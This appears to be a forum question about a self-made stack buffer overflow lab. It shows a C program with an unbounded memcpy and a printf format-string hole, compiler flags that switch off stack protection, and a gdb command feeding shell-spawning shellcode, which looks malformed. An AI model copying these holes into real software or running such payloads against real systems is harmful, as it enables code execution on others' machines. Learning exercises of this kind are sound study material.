I am trying to execute the shellcode to spawn an "sh" shell. I have taken shellcode as command line arguement,copied it to stack and tried to overwrite the return address of main function with the starting address of shellcode placed in stack. Everything goes fine but when the program executes "ret" statement,mysteriously the control jumps to other location rather than starting address of shellcode and shellcode doesnot execute

Here is my code ,compilation and "gdb" details

#include<stdio.h>
int main(int argc, char *argv[])
{
char buf[256];
memcpy(buf, argv[1],strlen(argv[1]));
printf(buf);
}

compilation: gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o shellcode shellcode.c -w

gdb Details:::r python -c 'print "A"*232+"\x31\xc0\x50\x68\x2f\x2f\x73\x68x0b\xcd\x80\x31\xc0\x40\xcd\x80"+"\xe8\xf3\xff\xbf"'

In gdb,I see that gcc is allocating 268 bytes of space for local use inside main function.
